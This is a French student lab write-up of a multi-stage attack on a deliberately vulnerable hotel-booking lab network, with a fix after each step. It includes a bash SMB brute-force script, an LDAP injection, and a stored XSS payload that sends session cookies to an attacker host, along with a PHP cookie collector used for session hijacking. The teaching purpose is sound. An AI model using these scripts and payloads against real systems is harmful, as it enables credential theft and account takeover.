LÉOCARD Jérémie

Scénario et déroulement de l'attaque

Lien vers l'installation des services et vulnérabilitées : Installation services et vulnérabilitées.

Table des matières

Scénario d'attaque

Le site est un site réservation de chambre pour un hotel 4 étoiles. Mon but sera donc de réserver la meilleure chambre gratuitement.

Présentation rapide du site

L'accueil :

image

La page de présentation des chambres :

image

Mon but sera de réserver la Chambre Royale gratuitement.

Brute Force SAMBA

Point de départ

On va partir du fait qu'on a obtenu un reverse shell sur la machine attaquant-interne. Et qu'en faisant un ls on a le fichier informations_access_ressources_entreprise.txt qui possède le contenu suivant :

image

Scan NMAP du réseau

Pour faire le Brute Force sur SAMBA, on va utiliser le fait qu'on possède le user samba sur lequel on trouvera les partages de fichiers.

Il nous reste à trouver le serveur SAMBA, pour ce faire, on va utiliser l'outil nmap depuis l'attaquant-interne avec la commande :

$sudo nmap 192.168.20.0/24

Le résultat :

image

Et on remarque qu'il y a la machine 192.168.20.20 qui possède le port 445 d'ouvert. Ce port correspond à un partage SAMBA utilisant TCP/IP.

Force Brute SAMBA

Si on se connecte en anonyme en listant le service SAMBA de la machine 192.168.20.20, on voit qu'il y a un partage \share pour l'entreprise :

image

Je coderai ici l'outil de force brute SAMBA en bash sous le nom du fichier smb-bruteforce.sh qui contiendra :

#!/bin/bash

# Vérification qu'il y a bien au moins 1 argument
nombre_argument=$#
if ((nombre_argument != 2)) ; then
    echo 'NOMBRE ARGUMENT INVALIDE. IL DOIT Y EN AVOIR 2 DE LA SORTE : $smb-bruteforce fichier_password user_samba' >/dev/stderr
    exit 1
fi

# Vérification que l'argument 1 est bien un fichier non vide
fichier=$1
if ! [ -s $fichier ] ; then
    echo "FICHIER INVALIDE, IL DOIT EXISTER ET NE DOIT PAS ETRE VIDE." >/dev/stderr
    exit 1
fi

login=$2

echo "SMB-BruteForce v1 2025 Jérémie Léocard - Un outil académique seulement."
echo ""

echo "SMB-BruteForce commencement le $(date)"
echo "[INFO] $(cat $fichier | wc -l) identifiants à tester"
# Bouclage sur toutes les lignes du fichier d'entrée du user
reussi="False"
for mot_de_passe in $(cat $fichier) ; do
    # Au bout de 1 seconde j'arrête la tentative de connexion
    resultat_connexion=$(timeout 1 smbclient '\\192.168.20.20\share' -U "$login%$mot_de_passe")
    # Si la connexion a été établie, rien ne s'affiche, autrement il y a un message d'erreur
    # Le -z test si $resultat_connexion est vide, si oui, il rentre dans le if
    if [ -z "$resultat_connexion" ]; then
        echo "[RESULTAT] Un couple valide trouvé -> login: $login  password: $mot_de_passe"
        reussi="True"
    fi
done
# En cas d'échec
if [ $reussi = "False" ] ; then
    echo "[RESULTAT] Echec du brute force, aucun couple n'a été trouvé"
fi
echo "SMB-BruteForce finit le $(date)"

Je n'oublie évidement pas de rendre le fichier exécutable avec :

$sudo chmod +x smb-bruteforce.sh

Je créer un fichier passwords.txt qui contiendra les mots de passe à tester sur le compte sambauser:

toto
tata
password
test
passwd
abc
def

Je lancerai mon fichier de brute force avec la commande :

$sudo ./smb-bruteforce.sh passwords.txt sambauser

Et voici le résultat :

image

Récupération du fichier du partage SAMBA

En premier je me connecte au partage avec :

$sudo smbclient '\\192.168.20.20\share' -U sambauser

Et je rentre le mot de passe abc, j'arrive donc sur le partage :

image

Puis je ferai un ls et je verrais le fichier vieux_comptes_admin_ldap :

image

Et je récupererai le fichier sur ma machine attaquant-interne avec :

smb: \> get vieux_comptes_admin_ldap

image

Et j'aurai une information très importante, le mot de passe des anciens admin !

image

Correction de la faille :

Cacher le partage

Faire en sorte que le partage soit caché, à l'intérieur du fichier /etc/samba/smb.conf dans le [share] mettre browseable à no :

browseable = no

Puis redémarrer le service avec $sudo systemctl restart smbd.

Désormais, si on se connecte en anonyme, on ne voit plus le partage share :

image

Changement du mot de passe sambauser

Et bien évidement de mettre un mot de passe plus complexe avec :

$sudo smbpasswd -a sambauser

Et ça ne marche plus autant pour le smn-bruteforce.sh que pour se logger avec smbclient :

image image

Injection LDAP

Point de départ

Grâce au fichier présent sur le partage SAMBA, je sais qu'il existe au moins un compte admin ldap qui possède le mot de passe toto.

Je vais maintenant essayer d'attaquer le site Web avec une injection LDAP. J'ouvre donc un navigateur depuis Pc-Portable et me connecte sur la page connexion_administration.html :

image

Mise en oeuvre de l'injection LDAP

Pour réaliser l'attaque, je vais mettre des * en login et en mot de passe comme suit :

image

Du point de vu du script (traitement_connexion_administration.php), sachant que le code php est le suivant :

$username = $_POST['login'];
$password = $_POST['password'];
$filtre = "(&(uid=$username)(userPassword=$password))";

Il sera interprété de cette façon dans le filtre de recherche !

"(&(uid=*)(userPassword=*))"

La tentative de connexion m'affiche donc tous les comptes de l'annuaire LDAP !

image

Connexion à un compte admin LDAP

Sachant que le mot de passe d'un admin est toto et que d'après le résultat de l'injection LDAP l'utilisateur ldubois est un admin, je vais tester ces identifiants :

image

Je suis bien loggé en tant que ldubois et désormais j'ai accès au portail de gestion administrateur (portail_gestion_admin.php) !

image

Correction de la faille :

Il faudra modifier le code php de traitement_connexion_administration.php en :

$username = $_POST['login'];
$password = $_POST['password'];
$username_securise = ldap_escape($username, '', LDAP_ESCAPE_FILTER);
$password_securise = ldap_escape($password, '', LDAP_ESCAPE_FILTER);
$filtre = "(&(uid=$username_securise)(userPassword=$password_securise))";

Explication :

  • ldap_escape() : Fonction PHP dédiée à la sécurisatino des chaînes qu'on va rentrer dans LDAP.
  • $username : La variable qu'on veut échapper traiter et être sur que ce ne soit plus une injection LDAP potentielle.
  • '' : Correspond aux potentiels caractères à ne pas traiter. Ici j'ai mis une chaîne vide car on veut tout traiter et sécuriser !
  • LDAP_ESCAPE_FILTER : Indique le contexte dans lequel la variable sera utilisé. Ici ce sera dans un filtre LDAP, il fait donc des sécurisation supplémentaires.

Désormais, si je met en identifiant * et en mot de passe *, on voit que ça ne fonctionne plus !

image

Ce qui donne :

image

Attaque XSS

Point de départ

Je me connecte en administrateur sur le site et je vais sur la page portail_gestion_admin.php.

Chargement du Payload sur le site (XSS Stored)

Ici, mon payload sera :

<script>new Image().src="http://192.168.56.1/index.php?cookie="+document.cookie;</script>

Je vais l'insérer dans les messages à envoyer et afficher aux managers de leurs côté dans le dashboard des managers :

image

Une fois envoyé, mon payload sera stocké dans la BDD mysql message_administrateur dans la table message.

image

Récupération du PHPSESSID sur Pc-Portable

Le payload sera chargé lors d'une connexion à la page. Ici, j'ai simulé une connexion avec une session manager en affichant la page portail_gestion_manager.php.

image

Sur ma machine Pc-Portable qui possède le paquet apache2, je vois bien la requête en GET qui contient la session PHP de la victime arriver dans le fichier /var/log/apache2/access.log :

image

Il ne reste plus qu'à écrire un script index.php qui est sur mon Pc-Portable qui recevra avec GET le PHPSESSID. Il faudra absolument que la machine Pc-Portable possède les paquet php et libapache2-mod-php !! :

<?php
// On test si il y a une valeur dans le GET qui est cookie
if (isset($_GET['cookie'])) {
    // On ouvre le fichier cookie.txt en placant le curseur fin du fichier grâce à 'a'. Ca va permettre d'écrire à la fin sans réécrire sur qu'il y a déjà
    $fichier_cookie = fopen('cookie.txt', 'a');
    // Ajout de l'heure et du cookie
    fwrite($fichier_cookie, date('H:i:s').' COOKIE_MANAGER='.$_GET['cookie']."\n");
    // Fermeture propre du fichier
    fclose($fichier_cookie);
}
?>

Une fois que j'ai rechargé la page depuis le poste-manager qui possède une connexion en tant que manager, j'obtiens bien son cookie dans cookie.txt sur ma machine Pc-Portable :

image

Il va falloir ouvrir sur la machine Pc-Portable un navigateur et se connecter en tant qu'administrateur. Une fois fait, on va faire faire appuyer sur la touche F12 et se rendre dans Storage et lister les Cookies comme suit :

image

Je double clique ensuite sur la valeur en dessous de Value et je met le PHPSESSID du manager puis j'appuie sur la touche Entrer :

image

Désormais je suis loggé en tant que manager et je peux accèder à la page portail_gestion_manager.php !

image

Correction de la faille :

Il faut dans le fichier gestion_portail_manager.php, au moment de l'affichage des messages dans le php appliquer la fonction htmlspecialchars() comme suit :

<?php
echo htmlspecialchars($ligne['objet'], ENT_QUOTES, 'UTF-8')."</br>";
echo htmlspecialchars($ligne['message'], ENT_QUOTES, 'UTF-8')."</br>";
?>

Explication :

  • htmlspecialchars() : C'est une fonction de sécurité de PHP qui va transformer les caractères potentiellements dangereux en texte simple.
  • ENT_QUOTES : Permet re rajouter le fait de transformer en texte simple les caractères ' et ".
  • 'UTF-8' : Pour éviter les bugs liés à d'anciennes normes d'encodage (des petites failles de sécurité également).

Ecriture table MYSQL

Ici, toutes les failles ont été exploitées et il ne reste plus qu'à se réserver la meilleure chambre !

En premier, je vais me créer un compte client depuis la page inscription_client.html :

image

La page de confirmation :

image

Puis je me connecte avec mon cookie manager et je vais dans portail_gestion_manager.php et j'enregistre la nouvelle réservation pour tbarek :

image

Et je vais voir dans la table mysql reservation :

image

Fin de la SAÉ